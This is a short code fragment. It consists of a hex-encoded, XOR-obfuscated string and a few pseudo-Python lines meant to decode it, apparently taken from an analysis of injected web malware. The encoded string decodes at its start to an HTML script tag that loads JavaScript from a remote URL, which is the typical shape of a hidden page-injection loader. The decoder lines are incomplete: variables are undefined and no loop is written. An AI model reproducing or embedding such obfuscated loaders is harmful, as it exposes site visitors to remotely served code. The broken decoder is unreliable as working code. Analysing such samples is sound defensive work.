enc_str = "773032205849207A3831326F1351202E3B306B7D1E5A3B33252B382454173735266C3D3B53163735222D393B475C7A37222D7F38421B6A66643032205849206477303220584920643D2223725C503A3F39636C725F5C237A082C383C7950223F65023F3D5F4039353E3079755F5F666E1134141F5C4C64377A1B671F565A1B2C7F7B101F42700D1F39331717161574213F2B2337505D27606B712C7B0A543D342E317F214558262E636A6A6E1E4A37282233256C"
dec_str = [0] * (length/2)
dec_str[count/2] = (int(enc_str[count], 16) << 4) + int(enc_str[count + 1], 16) & 0xFF
key = [75, 67, 81, 82, 49, 57, 84, 90]
dec_str[count] = chr(enc_str[count] ^ key[count % len(key)])